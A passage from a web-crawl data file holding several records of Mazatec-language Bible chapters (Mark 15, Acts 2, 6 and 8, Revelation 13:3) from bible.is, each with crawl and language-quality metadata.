kiskinìs'en‑ngui, i̱kjoàn tsohójtsa xotjoa̱‑la̱ nga̱jo̱ jngoò nda̱jo̱. 47María Magdalena ko̱ María nea̱‑la̱ José, nchikotsejèn‑la̱ nga kisìhijiìn Jesús.\nSan Marcos 15","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Mark\/15","date":"2013-12-10T06:37:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164011314\/warc\/CC-MAIN-20131204133331-00084-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000039339,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 1.0000039339065552}","num_words":831,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.292,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jè Saulo nga ya̱ síjna, ti̱'koa̱á isìjngoó ikon nga kinì'ken jè Esteban. Ya̱á kjo'tsia̱‑ni jè ni̱chjin ra̱kìi̱ nga 'ñó ki'se‑la̱ kondra̱ ko̱ nga tsihitji̱ngi‑la̱ nga'tsì xi̱ta̱ na̱xi̱ndá‑la̱ Cristo ra tjíhijyo ján Jerusalén. Kóhotjín xi̱ta̱, jndíi̱ ra ján tsanga kóho'ki nangi Judea ko̱ Samaria. Ta jñà isìhijyo‑isa xi̱ta̱ ra tsikíxáya‑la̱ Jesús. 2Tjín i'ka jñà xi̱ta̱ 'xi̱n ra nda bexkón Nainá; jñá tsikíhijin jè ijo‑la̱ Esteban. Ko̱ taxki̱ 'ñó iskindayake. 3Jè Saulo, taxki̱ 'ñó tsahatji̱ngi‑la̱ xi̱ta̱ na̱xi̱ndá‑la̱ Cristo. Jndíi̱ ra ján 'faha'sen ni'ya nga kjo̱'ñó bachrje íchjín ko̱ íchjá, a̱kjòn síkjaha'sen nda̱yá. 4Jñà xi̱ta̱ ra jahachinga, jndíi̱ ra ján kijì nga isìka'bísòn 'én xi̱tse̱ ra nda tsò ra a̱'ta 'tse̱ Cristo. 5Jè Felipe, 'kia̱ nga ijchò ya̱ na̱xi̱ndá Samaria, tsi'kéna̱jmíyaá‑la̱ xi̱ta̱ ra a̱'ta 'tse̱ Cristo [xi̱ta̱ ra xá isìkasén‑ni Nainá]. 6Kjín xi̱ta̱ 'tse̱ Samaria, 'kia̱ nga kií'nchré‑la̱ jè Felipe ko̱ nga kijtse jñà kjo̱xkón ra 'ñó nda ki'sìn, jngoó kjo̱bítsjen kijì nga'tsiòo̱ nga isa̱ nda kií'nchré-isa‑la̱. 7Kjín xi̱ta̱ ra inìma̱ 'cho‑la̱ ni̱í tjíjin inìma̱‑la̱ kjonda‑ni. Jè inìma̱ 'cho‑la̱ ni̱í, 'ñó kjindáya ko̱ a̱kjòn bitjojin‑ni ya̱ inìma̱‑la̱ xi̱ta̱. Ti̱'koa̱á kjín xi̱ta̱ kiya ra mì kì ma síjtiya ijo‑la̱ ko̱ ra tsá'yá, kjonda‑ni. 8'Koa̱á 'sín kjomà‑ni nga ya̱ na̱xi̱ndá ra̱kìi̱, jñà xi̱ta̱ 'ñó tsja ki'se‑la̱. 9Ya̱ na̱xi̱ndá Samaria, tíjnaá jngo xi̱ta̱ ra 'mì Simón, ra xi̱ta̱ tj'ee̱ nga ti̱'sa̱ ítjòn. Ta kjóxkón‑la̱ xi̱ta̱ ra ya̱ i̱'nde‑la̱ 'kia̱ nga ko̱'sín iskonda̱cha̱‑la̱ nga kitsò: ―'Ñó nda be ra 'a̱n. 10Nga'tsì xi̱ta̱ ra i̱xti ko̱ ra xi̱ta̱ jchínga, nda kií'nchréhijon‑la̱, kitsò: ―Jé xi̱ta̱ ra̱kìi̱ ra 'ñó tse nga'ñó‑la̱ Nainá tjín‑la̱. 11'Ñó nda kií'nchréhijon‑la̱ ta nga̱tjì‑la̱ nga ijyeé kjokjín nó tjín‑ni nga ko̱tjín kjo̱xkón ra bakón a̱'ta 'tse̱ kjoa̱tj'ee̱ ra ma‑la̱. 12Tanga jñà xi̱ta̱, 'kia̱ nga kjokjiín‑la̱ 'én ra tsi'kéna̱jmí jè Felipe a̱'ta 'tse̱ 'én xi̱tse̱ ra nda tsò kó'sín nga batéxoma Nainá ko̱ a̱'ta 'tse̱ Jesús nga jè ra Cristo, ko̱ íchjín ko̱ íchjá tsikí'tsia̱ nga isatíndá. 13Skanda jè Simón ti̱'koa̱á kjokjiín‑la̱; a̱kjòn isatíndá‑te. Ya̱ ñánda̱ nga tsajme Felipe, ya̱á tsajmekó‑te. Ta kjóxkón‑la̱ 'kia̱ nga kijtse jñà kjo̱xkón ra tí'sín Felipe ko̱ kjoa̱ ra bakón kjoa̱jeya‑la̱ Nainá. 14Jñà xi̱ta̱ ra tsikíxáya‑la̱ Jesús ra títsa̱jna ján Jerusalén, 'kia̱ nga kií'nchré nga jñà xi̱ta̱ Samaria ijyeé kjokjiín‑la̱ 'én‑la̱ Nainá, isìkasén jè Pedro ko̱ Juan. 15Jñà xi̱ta̱ kìi̱, 'kia̱ nga ijye ijchó ján Samaria, tsikítsa'batjí jñà xi̱ta̱ ra ijye kjokjiín‑la̱ mé‑ni nga tjábé‑ila̱ jè Inìma̱ Tsje‑la̱ Nainá. 16Nga̱, ni̱ kjè sa jngo xi̱ta̱ kìi̱ bitjojen‑nè jè Inìma̱ Tsje‑la̱ Nainá. Tà a̱'ta 'tse̱é Na̱'ín‑ná Jesús isatíndá. 17Jè Pedro ko̱ Juan, 'kia̱á tsakásòn‑la̱ tsja, a̱kjòn itjábé‑la̱ jè Inìma̱ Tsje‑la̱ Nainá. 18'Kia̱ nga kijtse jè Simón nga jñà xi̱ta̱ ra tsikíxáya‑la̱ Jesús, jñà básòn‑la̱ tsja nga tjábé‑la̱ jè Inìma̱ Tsje‑la̱ Nainá jñà xi̱ta̱, jè Simón to̱ón tsikí'ta‑la̱ jñà xi̱ta̱‑la̱ Cristo nga 19kitsò‑la̱: ―Ti̱'koa̱á 'ti̱‑te‑ná jè nga'ñó ra̱kìi̱ mé‑ni nga ti̱'koa̱á ko̱'sín 'sin‑te‑na ra 'a̱n, nga ni̱'sín ta yá xi̱ta̱ ra kosòn‑la̱ ndsa̱, tjábé‑la̱ jè Inìma̱ Tsje‑la̱ Nainá. 20Jè Pedro kitsó‑la̱: ―¡Ya̱ katiyaki̱i jè to̱n‑li! Ngaji̱, nga̱ 'koa̱á 'sín kàníkítsjin tsa maá to̱n minda‑né jè kjo̱tjò ra tsjá Nainá. 21Ngaji̱ mì kì tjí'nde‑li nga tjábé‑li, nga̱ jè inìma̱‑li mì kì tsa kixi̱ tíjna ya̱ ngixko̱n Nainá. 22Ti̱kájno jé‑li, kì ti̱ tsja jé fatsji‑ni koni 'sín tjín kjoa̱'cho ra tjíjin inìma̱‑li. 'Ñó titsa'ba‑la̱ Nainá tsa kií ni̱chjin si̱hijcha'ta‑li koni 'sín nga kàníkítsjin. 23Nga̱ be‑ná nga 'ñó kitsejín kjoa̱xìtakòn ya̱ inìma̱‑li, ko̱ jé kjoa̱ ra 'cho tjióo̱n mì kì tsjá'nde‑li nga nda 'nì. 24Jè Simón kitsó‑ní: ―Titsa'ba‑la jiòn jè Nainá ra a̱'ta tsa̱'a̱n, mé‑ni mì ko̱'sín katama'tin‑na koni 'sín nga i̱nchi'mì‑nájiòn. 25Jè Pedro ko̱ Juan, 'kia̱ nga ijye tsi'kéna̱jmí ra a̱'ta 'tse̱ Jesús kó'sín nga kijtsexkon ko̱ nga ijye tsakón‑ya 'én nda‑la̱ Na̱'ín‑ná, 'kia̱á kijì india‑ni ján Jerusalén. Ko̱ kjín xi̱ta̱‑la̱ na̱xi̱ndá ra chja̱‑ni Samaria tsi'kéna̱jmí‑la̱ 'én xi̱tse̱ ra nda tsò ra a̱'ta 'tse̱ Cristo. 26Ra ijye kjomà, jngo ìkja̱li̱‑la̱ Nainá kiìchja̱‑la̱ Felipe, kitsò‑la̱: ―Ti̱sítji̱in, ko̱ ko̱'sín 'tin kixi̱i jè ndi̱yá ra bitjoka'ta Jerusalén jè ra fìjen skanda bijchó Gaza. Jè ndi̱yá ra̱kìi̱ ya̱á 'fahato ya̱ i̱'nde'taxìn ñánda̱ nangi kixì. 27Jè Felipe, tsasítje̱n‑ní a̱kjòn kijì; 'kia̱ nga tífì ya̱ a̱ya ndi̱yá, jngo xi̱ta̱ iskajin ra ya̱ i̱'nde‑la̱ Etiopía ra 'ñó 'nga xá tjín‑la̱, jngo xi̱ta̱ ra ijye kjoxki‑la̱ nga mì ti̱ íchjín si̱ìsin‑ni; jè ra ma tesorero‑la̱ chjo̱ón ra tíjna koni xi̱ta̱xá ítjòn ya̱ Etiopía. Jè xi̱ta̱ ra̱kìi̱ ya̱á 'ji‑ni Jerusalén nga jeya kijì síkíjna Nainá. 28'Kia̱ nga tífì‑ni ya̱ nangi‑la̱ nga tíjnaya jè ki̱cha̱ na̱xítji‑la̱, tíkotá'yá jè xa̱jo̱n ra tsikínda jè Isaías, xi̱ta̱ ra isìchjeén Nainá nga kiìchja̱ ngajo‑la̱. 29Jè Inìma̱ Tsje‑la̱ Nainá kitsò‑la̱ jè Felipe: ―'Tin'ta chraña‑la̱ jè ki̱cha̱ na̱xítji ra̱kiòo̱, ko̱ ta̱ña tiki̱i jè xi̱ta̱ ra tíjnaya. 30Jè Felipe ndi̱to̱ón kiìtji̱ngi‑la̱, kií'nchré‑la̱ jè xi̱ta̱ nga tíkotá'yá jè xa̱jo̱n ra tsikínda Isaías; a̱kjòn iskonangi‑la̱ kitsò‑la̱: ―¿A tímachi̱yaá‑li kó'sín tsò‑ni jè xa̱jo̱n ra tjichitá'yí? 31Jè xi̱ta̱ etiope kitsó‑ní: ―¿Kó'sín ko̱ma‑ni nga ko̱chi̱ya‑na tsa 'kia̱ nga mì yá ra tí'béna̱jmíya‑na? 'Kia̱á ko̱kitsò‑la̱ nga katamìhijin ya̱ ki̱cha̱ na̱xítji‑la̱ jè Felipe nga katijna'ta‑la̱. 32Ya̱ ñánda̱ nga tíkotá'yá jè xa̱jo̱n‑la̱ Isaías, ya̱á‑ní ñánda̱ nga tsò: 'Koa̱á 'sín kiìko̱ koni tsa jngo forrè nga kiì sí'ken; 'koa̱á jngoya‑la̱ koni jngo ndí forrè i'ndí ra mì kì kjindáya 'kia̱ nga sijno‑la̱, 'koa̱á ti̱'sín mì kì iskindaya. 33'Ñó kijtseton xi̱ta̱, ko̱ mì kì yá ra tsikíndajín‑la̱. Mì kì jcha̱‑la̱ tje̱‑la̱. Nga̱ ra jè, ini'ken‑ní i̱ a̱'ta nangi. 34Jè xi̱ta̱ ra Etiopía i̱'nde‑la̱ kitsó‑la̱ Felipe: ―'Ti̱ìn kjo̱nda. 'Tèna̱jmíya‑ná, ¿yá‑ní ra ko̱'sín títsò‑la̱ jè Isaías? ¿A kj'ií xi̱ta̱‑ní, o̱ ra ti̱jé‑ni ijo‑la̱ ra ko̱'sín títsò‑la̱? 35Jè Felipe tsikí'tsia̱ kjòn‑ni jè xa̱jo̱n ñánda̱ nga tíkotá'yá jè xi̱ta̱ etiope; tsi'kéna̱jmí ijye‑la̱ ra a̱'ta 'tse̱ 'én xi̱tse̱ ra nda tsò ra a̱'ta 'tse̱ Jesús. 36'Kia̱ nga i̱nchifì ya̱ a̱ya ndi̱yá, ijchó jngo i̱'nde ya̱ ñánda̱ nga tjín nandá; kitsò jè xi̱ta̱ etiope: ―Ya̱ i̱jndíi̱ tjín nandá. ¿A mí nda 'se̱ tsa ko̱tíndá‑náa̱? 37Jè Felipe kitsó‑la̱: ―Tsa ngi ko̱ó inìma̱‑li nga nda makjiín‑li, ko̱ma‑ní. Jè xi̱ta̱ ra̱kìi̱ kitsó‑ní: ―'Koa̱á 'sín makjiín‑na nga jè Jesús, jé ra Cristo ra I'ndí‑la̱ Nainá. 38Kitsjá kjo̱hixi̱ nga katasasén jngohíjta jè ki̱cha̱ na̱xítji‑la̱, a̱kjòn itjojen ngajòo̱, 'jaha'sen‑jin ya̱ nandá; jè Felipe tsatíndá xi̱ta̱ ra̱kìi̱. 39'Kia̱ nga ijye itjojin‑ni ngajòo̱ ya̱ a̱jin nandá, jè Felipe, ta ndi̱to̱ón ichijà; jé Inìma̱ Tsje‑la̱ Nainá kiìko̱; mì ti̱ kì kijtse‑ni xákjén; tanga jè xi̱ta̱ etiope, 'ñó tsja tjín‑la̱ nga kijì‑ni. 40Jè Felipe 'kia̱ nga kijtse ijo‑la̱ ijyeé ya̱ tíjna ya̱ na̱xi̱ndá ra 'mì Azoto; ko̱ xki̱ na̱xi̱ndá kijì nga tsi'kéna̱jmíya 'én xi̱tse̱ ra nda tsò ra a̱'ta 'tse̱ Cristo skanda nga ijchò na̱xi̱ndá ra 'mì Cesarea.\nHechos 8","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Acts\/8","date":"2013-12-13T14:17:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164946521\/warc\/CC-MAIN-20131204134906-00099-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000084639,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"maa_Latn_score\": 1.000008463859558}","num_words":1060,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.342,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"3'Ñó tse kitiì jngoò sko̱ jè cho̱ je xi ch'o kji; k'oa̱á kji komà koni tsà jye ki̱yá; ta̱nga jè sko̱ xi 'ñó tse kitiì, kjòndaà‑ne. Ngats'iì xi̱ta̱ xi tjín nga tíjtsa i̱sò'nde, tà kjòxkón‑la̱ kjoa̱ xi komà, ko̱ ya̱á kiìtji̱ngui‑la̱ jè cho̱ ts'e̱n.\nApocalipsis 13:3\nOne App.\n815 Languages.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Rev\/13\/3","date":"2013-12-11T02:56:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164029436\/warc\/CC-MAIN-20131204133349-00088-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":0.9999960661,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"maa_Latn_score\": 0.9999960660934448}","num_words":48,"character_repetition_ratio":0.022,"word_repetition_ratio":0.0,"special_characters_ratio":0.265,"stopwords_ratio":0.271,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jñà na̱chrjein koi, k'e̱ nga jye 'ñó tímakjìn‑ya xi̱ta̱ xi kota'yàt'aà‑la̱ Cristo, jñà xi̱ta̱ xi chja̱ 'én griego tsibíts'ia̱ nga tsohojét'in jñà xi̱ta̱ xi chja̱ 'én hebreo, nga jñà íchjín ka'àn xi ts'e̱ xi̱ta̱ griego mì ngásòn tí'biì‑la̱ tsojmì xi kine koni jñà íchjín ka'àn xi ts'e̱ xi̱ta̱ hebreo. 2Jñà xi̱ta̱ xi tejò ma‑ne xi tsibíxáya‑la̱ Jesús, tsibíxkóya ngats'iì xi̱ta̱ xi kota'yàt'aà‑la̱ Cristo, kitsò: ―Mì‑la kiì ndaà tjín nga si̱kíjna‑je̱n xá‑la̱ Nainá nga mì ti̱ kiì ki̱nókjoa̱ya‑naje̱n 'én‑la̱ Nainá, nga nguì ta koi xá s'e̱n‑je̱n nga xi̱ta̱ i̱ma̱ si̱kjèn‑je̱n. 3'Ndsè, chja̱ájñoò itoò xi̱ta̱ x'i̱n xi 'yaà nga ndaà nchisíjchá yijo‑la̱, ti̱koa̱ ndaà tíjiìn ini̱ma̱‑la̱ Ini̱ma̱ Tsjeè‑la̱ Nainá, xi̱ta̱ xi ndaà kjo̱hítsjeèn tjín‑la̱ mé‑ne jñà ko̱nga̱tsja xá koi. 4Ngaje̱n, kjit'aà na̱chrjein ki̱nókjoa̱t'aà‑la̱je̱n Nainá; ti̱koa̱ ko̱kóya‑je̱n 'én‑la̱ Nainá. 5Jñà 'én koi, ndaà kisaseèn yije‑la̱ ngats'iì xi̱ta̱. K'e̱é jaàjiìn Esteban, jngoò xi̱ta̱ x'i̱n xi ndaà mokjeiín‑la̱ i̱t'aà ts'e̱ Nainá, ti̱koa̱ ndaà tíjiìn ini̱ma̱‑la̱ jè Ini̱ma̱ Tsjeè‑la̱ Nainá. Ti̱koa̱ kitjaàjiìn Felipe, Prócoro, Nicanor, Timón, Parmenas, Nicolás, jngoò xi̱ta̱ Antioquía xi jahatjìya‑la̱ nga xi̱ta̱ judío komà. 6Jñà xi̱ta̱ xi itoò ma‑ne chinchá osen nga nguixko̱n xi̱ta̱ xi tsibíxáya‑la̱ Jesús. Ko̱ jñà xi̱ta̱ xi tsibíxáya‑la̱ Jesús kiìchja̱tjì i̱t'aà ts'e̱ Nainá, i̱kjoàn tsohósòn‑la̱ tsja nga kjònga̱tsja xá. 7Ìsa̱á 'ñó tsabísòn‑ìsa̱ 'én‑la̱ Nainá. Ya̱ na̱xa̱ndá Jerusalén sa̱á 'ñó sa̱á 'ñó makjìn‑ya xi̱ta̱ xi kota'yàt'aà‑la̱ Cristo. Skanda jñà no̱'miì, ti̱koa̱á jyeé kjìn ma‑ne xi mokjeiín‑la̱ i̱t'aà ts'e̱ Cristo. 8Jè Esteban, 'ñó ndaà kis'e‑la̱ nga'ñó ko̱ kjo̱ndaà xi i̱t'aà ts'e̱ Nainá. K'oa̱á komà‑ne nga kjìn kjo̱xkón xi okó kjoa̱jeya‑la̱ Nainá kis'iìn ya̱ i̱jiìn na̱xa̱ndá. 9Tjín i'nga xi̱ta̱ xi ya̱ chja̱‑ne ni'ya i̱ngo̱ sinagoga ñánda maxkóya xi̱ta̱ judío xi jye títsa̱jnandei̱í‑ne, ko̱ xi̱ta̱ Cirene, xi̱ta̱ Alejandría, xi̱ta̱ Cilicia ko̱ xi ján i̱'nde‑la̱ Asia; tsibíts'ia̱ nga tsakátikjoó ko̱ Esteban. 10Ta̱nga xi̱ta̱ koi, mìkiì kisìkijne, nga̱ jè Esteban, ko̱ó kjo̱hítsjeèn‑la̱ Ini̱ma̱ Tsjeè‑la̱ Nainá kiìchja̱. 11K'e̱é tsohótsji xi̱ta̱ xi tsibíchjí‑la̱ nga kitsjaàt'in 'én ndiso; kitsò: ―Kina'yà‑la̱je̱n Esteban nga chja̱jno‑la̱ Moisés ko̱ Nainá. 12K'oa̱á s'ín komà‑ne nga kòjti‑la̱ jñà xi̱ta̱ na̱xa̱ndá ko̱ xi̱ta̱ jchínga ko̱ xi̱ta̱ xi okóya kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés. Kitsobà'ñó Esteban, kiìko̱ ñánda títsa̱jna xi̱ta̱xá ítjòn xi joóya‑ne kjo̱tíxoma. 13Ijchòko̱ xi̱ta̱ ndiso xi kitsjaàt'in 'én, kitsò: ―Xi̱ta̱ jè, mìkiì jyò bìjna, kjit'aà na̱chrjein chja̱jno‑la̱ jè I̱ngo̱ Tsjeè‑la̱ Nainá ko̱ kjo̱tíxoma xi kiskiì Moisés. 14Jyeé kina'yà‑la̱je̱n nga tsò nga jè Jesús xi Nazaret ts'e̱, si̱ìkixòña I̱ngo̱‑la̱ Nainá ti̱koa̱ si̱ìkjatjìya‑la̱ kjo̱tíxoma xi 'né koni s'ín tsakóya‑ná Moisés. 15Ngats'iì xi̱ta̱xá xi ya̱ títsa̱jna, k'e̱ nga kiskoò'an Esteban, k'oa̱á s'ín kijtseè i̱sén‑la̱ koni kji i̱sén‑la̱ àkja̱le̱.\nHechos 6","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Acts\/6","date":"2013-12-09T14:30:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163982738\/warc\/CC-MAIN-20131204133302-00014-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000054836,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"maa_Latn_score\": 1.0000054836273193}","num_words":412,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.215,"stopwords_ratio":0.337,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1K'e̱ nga ijchò na̱chrjein‑la̱ s'eí Pentecostés, ngats'iì xi̱ta̱ xi mokjeiín‑la̱ i̱t'aà ts'e̱ Cristo ta̱ jngoò jtín títsa̱jna. 2Tà ni̱to̱ón kina'yà jngoò‑la̱ xi 'ñó one, koni jngoò tjo̱ xi 'ñó tí'ba xi ngajmiì inchrobà‑ne. Kina'yà‑la̱ kóho̱kji i'nga ni'ya ñánda títsa̱jna jñà xi̱ta̱. 3Tsatsejèn‑la̱ ni̱je̱n xi koni kjoàn ni'ín kjoàn; kjòxkoa̱ya íjngó íjngó kisijnasòn‑la̱ jñà xi̱ta̱. 4Ngats'iì xi̱ta̱, jngoò k'a ndaà kis'ejiìn ini̱ma̱‑la̱ Ini̱ma̱ Tsjeè‑la̱ Nainá; i̱kjoàn tsibíts'ia̱ nga kiìchja̱ 'én‑la̱ xi̱ta̱ xi kj'ei̱í na̱xa̱ndá koni s'ín kitsjaà‑la̱ Ini̱ma̱ Tsjeè‑la̱ Nainá nga ki̱chja̱. 5Na̱chrjein koi, kjìn xi̱ta̱ judío títsa̱jna [xi ijchò s'eí] ya̱ na̱xa̱ndá Jerusalén xi beèxkón Nainá xi inchrobà‑ne ñánda nga xìn na̱xa̱ndá nga tíjtsa i̱sò'nde. 6Jñà xi̱ta̱ xi ya̱ títsa̱jna xi ijchò s'eí ya̱ na̱xa̱ndá Jerusalén, ngats'iì kjòxkóya k'e̱ nga kiì'nchré‑la̱ xi jane. Ti̱koa̱á tà kjòxkón‑la̱ k'e̱ nga kiì'nchré‑la̱ xi̱ta̱‑la̱ Cristo nga ma‑la̱ chja̱ nga jngoò ìjngoò sko̱ya 'én‑la̱ xi̱ta̱ xi xìn na̱xa̱ndá‑la̱ xi ya̱ títsa̱jna. 7Tà k'oa̱á komà‑la̱, ti̱koa̱á tà kjòxkón‑la̱, kitsò‑la̱ xíkjín: ―¿A mìtsà xi̱ta̱ Galilea ngats'iì xi̱ta̱ xi nchichja̱? 8¿Kós'ín ma‑ne nga na'yá‑lá 'én‑ná xi nokjoá nga xìn na̱xa̱ndá‑ná nga ìjngoò jngoá? 9Ngats'iaá xi i̱ titsa̱jnaá, tjín xi̱ta̱ Partia, xi̱ta̱ Media, xi̱ta̱ Elam, xi̱ta̱ Mesopotamia, xi̱ta̱ Judea, xi̱ta̱ Capadocia, xi̱ta̱ Ponto, xi̱ta̱ Asia, 10xi̱ta̱ Frigia, xi̱ta̱ Panfilia, xi̱ta̱ Egipto, xi̱ta̱ Libia xi ya̱ chrañàt'aà‑la̱ Cirene. Ti̱koa̱ tjín xi̱ta̱ Roma xi i̱ títsa̱jna Jerusalén. Tjín xi nguì xi̱ta̱ judío. Ti̱koa̱á tjín xi tà jahatjìya‑la̱ nga xi̱ta̱ judío komà. 11Ti̱koa̱á tjín xi inchrobà‑ne Creta ko̱ Arabia. ¡Ngats'iaá na'yà‑lá nga jngoò ìjngoò sko̱ya 'én‑ná koni s'ín béno̱jmí‑ná kjo̱xkón xi s'ín Nainá! 12Ngats'iì xi̱ta̱ tà kisinchaàxkón‑né, mì ti̱ kiì machi̱ya‑la̱, kitsò‑la̱ xíkjín: ―¿Kó tsòya‑ne kjoa̱ koi? 13Tjín i'nga xi̱ta̱ xi tà tsijnòkeè‑né, kitsò: ―¡Ch'i̱í xi̱ta̱ koi! 14K'e̱é tsasíjna kixi̱ Pedro ko̱ xi̱ta̱ xi tejngoò ma‑ne; 'ñó kiìchja̱jiìn‑la̱ xi̱ta̱, kitsò: ―Jñò, xi̱ta̱ xinguia̱á xi judío 'mì‑ná ko̱ ngats'ioò xi xìn na̱xa̱ndá‑nò xi i̱ titsa̱jnaà Jerusalén, ndaà kàtasijiìn‑nò, ndaà ti̱ná'ya 'én xi kichjàko̱‑nò. 15Jñò bixón‑nò: \"Ch'i̱í xi̱ta̱ koi.\" ¿Kós'ín ko̱ma‑ne nga ko̱ch'i̱ nga sa̱á ijchò xi ñijaàn nga ta̱jñòya? 16Koií tíbitasòn 'én xi kiìchja̱ Joel, xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá. 17K'oa̱á tsò Nainá: K'e̱ nga jye tífehet'aà na̱chrjein, síka'bí‑la̱ Ini̱ma̱ Tsjeè‑na̱ ngats'iì xi̱ta̱ xi tjín nga tíjtsa i̱sò'nde; jñà i̱xti x'i̱n ko̱ i̱xti íchjín‑nò, 'a̱án ki̱chja̱ ngajo‑na; jñà i̱xti xo̱ngó‑nò, skoe̱ kjo̱xkón xi okó Nainá; jñà xi̱ta̱ jchínga‑nò k'oi̱í‑la̱ nijñá xi i̱t'aà ts'e̱ Nainá. 18O̱kixi̱‑né na̱chrjein koi, jñà chi̱'nda‑na̱ xi x'i̱n ko̱ íchjín siìka'bí‑la̱ Ini̱ma̱ Tsjeè‑na̱ mé‑ne nga ki̱chja̱ ngajo‑na. 19Ján ngajmiì kjìn kjo̱xkón jcha̱‑la̱, ti̱koa̱á i̱ i̱t'aà nangui jcha̱á‑la̱ kjo̱xkón nga xíxteèn jní‑la̱ xi̱ta̱, nga ko̱ ni'ín ko̱ ni̱'ndi̱ tsjè xi kjoa̱ ts'e̱ kjo̱jchán. 20Jè ts'oí, ko̱jñò‑né, jè sá, jní kji ko̱ma k'e̱ nga ti̱kj'eè f'iì Na̱'èn‑ná nga kjoi̱í kíndaàjiìn‑la̱ xi̱ta̱ jè na̱chrjein xi jeya ko̱ 'ñó xkón. 21Ta̱nga ngats'iì xi̱ta̱ xi ki̱chja̱t'aà‑la̱ Nainá, ki̱tjokàjiìn kjo̱'in. [K'oa̱á tsò 'én‑la̱ Nainá xi kiskiì Joel (2:28‑32).] 22'Ti̱ná'ya xi xi̱ta̱ Israel 'mì‑nò 'én xi k'oa̱ xán‑nò: Jñò, ndaà tíjiìn‑nò, Nainá tsakó nga Jesús xi Nazaret ts'e̱, tjín‑la̱ kjo̱tíxoma. Xkoòn ki'ya‑nò nga kis'iìn ngats'iì kjo̱xkón ko̱ kjoa̱ ts'e̱ seña xi tseé nga'ñó tjín‑la̱. 23Koni s'ín tjíndaà‑la̱ Nainá nga ti̱sa̱ tàts'en‑la̱ kjoa̱, jñò, kindobà'ñó xi̱ta̱ jè nga kinìk'eèn nga kinìnga̱tsja xi̱ta̱ xi mìkiì beèxkón kjo̱tíxoma nga tsakat'aà krò. 24Ta̱nga Nainá kisìkjaáya‑la̱; kisìkíjnandei̱í kjoa̱ ts'e̱ kjo̱'in xi tjín‑la̱ kjoa̱biyaà nga mìkiì ko̱ma nga ya̱ si̱jna'ñó i̱t'aà ts'e̱ kjoa̱biyaà. 25Jè xi̱ta̱xá ítjòn xi David ki'mì, kitsò i̱t'aà ts'e̱ Jesús: Kìjtseè kjit'aà‑ná Nainá k'e̱ nga tíjna nguixkoaàn; i̱ tíjnat'aà ndsa̱a kixi̱ mé‑ne nga nì mé xi ko̱mat'ian. 26Koií kjoa̱‑la̱ nga matsja‑la̱ ini̱ma̱‑na̱, ti̱koa̱ matsja‑la̱ ni̱je̱n‑na̱ nga seè. Yijo‑na̱, ti̱koa̱á ndaà siìkjáya nga skóña kjoa̱, 27koií kjoa̱‑la̱ nga mì ya̱ si̱kíjni ini̱ma̱‑na̱ ya̱ i̱'nde‑la̱ mik'en, ti̱koa̱ mìkiì koi̱'ndi nga ki̱'ndo yijo‑na̱ xi chi̱'nda tsjeè‑lè 'mì‑ná. 28Tsakoò‑ná ndi̱yá nga ma kóti̱jnakoan, tseé kjo̱tsja s'e̱‑la̱ ini̱ma̱‑na̱ nga ji̱ tijnako̱‑ná. [K'oa̱á tsò 'én‑la̱ Nainá xi kiskiì David (Salmo 16:8‑11).] 29''Ndsè, k'oa̱á xan‑nò xi nguì kjoa̱ kixi̱: xi̱ta̱ jchínga‑ná David, jye kjòtseé k'en, ti̱koa̱ kisìhijiìn‑né. Jè i̱tsjó‑la̱, tíjna skanda na̱chrjein i̱'ndei̱. 30Ta̱nga jè David, jngoò xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá. Jyeé k'oa̱s'ín tíjiìn‑la̱ koni s'ín kitsjaà‑la̱ tso'ba Nainá nga tje̱ ts'e̱ ki̱tjokàjiìn Cristo nga jè kíjna ngajo‑la̱ koni xi̱ta̱xá ítjòn. 31Jè David, k'oa̱á s'ín kiìchja̱ i̱t'aà ts'e̱ Cristo koni tsà jye kijtseè nga jye jaáya‑la̱. Kitsò: \"Mìkiì ya̱ kisijna ini̱ma̱‑la̱ ya̱ i̱'nde‑la̱ mik'en, ti̱koa̱á mìkiì i'ndo yijo‑la̱.\" 32Nainá, jyeé kisìkjaáya‑la̱ Jesús. Ngats'iì kjoa̱ xi komà, k'oa̱á s'ín bèno̱jmí‑nòje̱n nga xkoòn ki'ya‑naje̱n. 33Nainá jeya kisìkíjnat'aà chrja kixi̱‑la̱; kitjoé‑la̱ Ini̱ma̱ Tsjeè‑la̱ koni s'ín kitsjaà tso'ba Nainá. Jè Jesús kisìka'bísòn ìjngoò k'a Ini̱ma̱ Tsjeè‑la̱. Koií kjoa̱‑la̱ nga k'oa̱s'ín titsa̱'yaà ko̱ titsa̱na'yà. 34Jè David, 